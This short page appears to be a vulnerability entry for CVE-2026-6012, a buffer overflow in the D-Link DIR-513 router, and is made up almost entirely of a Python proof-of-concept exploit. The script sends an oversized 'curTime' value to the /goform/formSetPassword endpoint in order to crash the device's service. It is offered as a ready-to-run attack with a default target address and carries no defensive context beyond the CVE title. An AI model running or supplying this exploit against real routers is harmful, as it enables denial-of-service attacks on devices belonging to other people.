CVE-2026-6012 D-Link DIR-513 缓冲区溢出漏洞

import requests def exploit_poc(target_ip): """ PoC for CVE-2026-6012 Buffer Overflow in D-Link DIR-513 Target: /goform/formSetPassword Vulnerable Param: curTime """ url = f"http://{target_ip}/goform/formSetPassword" # Large payload to trigger buffer overflow # Exact offset may vary, 1000 bytes is usually sufficient to crash the service payload = "A" * 1000 data = { "curTime": payload } try: print(f"[+] Sending payload to {url}...") response = requests.post(url, data=data, timeout=5) print(f"[+] Response code: {response.status_code}") except requests.exceptions.ConnectionError: print("[!] Connection error - the target may have crashed (DoS).") except Exception as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": target = "192.168.0.1" # Replace with actual target IP exploit_poc(target)